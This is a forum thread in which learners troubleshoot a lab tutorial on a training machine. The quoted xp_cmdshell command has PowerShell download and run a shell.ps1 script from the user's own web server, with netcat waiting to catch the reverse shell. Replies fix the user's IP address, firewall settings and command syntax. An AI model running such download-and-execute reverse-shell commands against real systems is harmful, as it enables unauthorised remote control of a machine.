"Starting Point" Tutorial Issue (Exception calling)

edited March 2020 in Machines

I have Followed the Tutorial and Everything worked as expected But when i execute this command [ xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\" IP))/shell.ps1\"); ] I get the Following Error.

Exception calling "DownloadString" with "1" argument(s): "Unable to connect to the remote server"

At line:1 char:1

  • IEX (New-Object Net.WebClient).DownloadString("http://192...(my ip)/she ...

  • ~~~~~~~~~~~~~~~~~

    • CategoryInfo : NotSpecified: (:) [], MethodInvocationException

    • FullyQualifiedErrorId : WebException


I have set the web server on my ip using Python and also shell.ps1 is on the webserver.

netcat is also setup waiting for the connection.

Any Help with Explanation would be very Helpful . Forgive me if this is a dumb question. I really have no idea what that error mean. I would be very thankful for Your answers. Thank You in Advance :smile:


  • Unable to connect to remote server. Check your firewall. Might have to do [sudo ufw status] and if it says inactive do [sudo ufw enable] and then [sudo ufw status]. That's how i got around that issue

  • same issue here LOL

  • IEX (New-Object Net.WebClient).DownloadString("http://192...(my ip)/she ...

    why does your error text mention an IP address starting with 192. Seems like maybe you specified your own LAN IP address and not your VPN IP address

  • Yeah, as VbScrub mentioned it seems you put wrong IP there. Try running ifconfig to see all your interfaces. There should be one called similar to 'tun0' if you've followed up to this point successfully. That's the IP you need to use in buth script and SQL command

  • Thanks, Solved it

  • Hey Guys, im stuck at the Problem with the Shell Script.

    i started python3 -m http.server 80, view my vpn ip > changed in the line, i have no ufw installed and added the shell.ps1 in the same folder where i started mssqlclient.py but still error:
    ew-ObjectNet.WebClient : The term 'New-ObjectNet.WebClient' is not recognized as the name of a cmdlet, function,

    script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is

    correct and try again.

    At line:1 char:6

    • IEX (New-ObjectNet.WebClient).DownloadString(" ...

    • ~~~~~~~

      • CategoryInfo : ObjectNotFound: (New-ObjectNet.WebClient:String) [], CommandNotFoundException

      • FullyQualifiedErrorId : CommandNotFoundException

  • Put a pace in-between -> (New-ObjectNet.WebClient:String)

  • @cybersecHM said:
    Put a pace in-between -> (New-Object Net.WebClient:String)

Sign In to comment.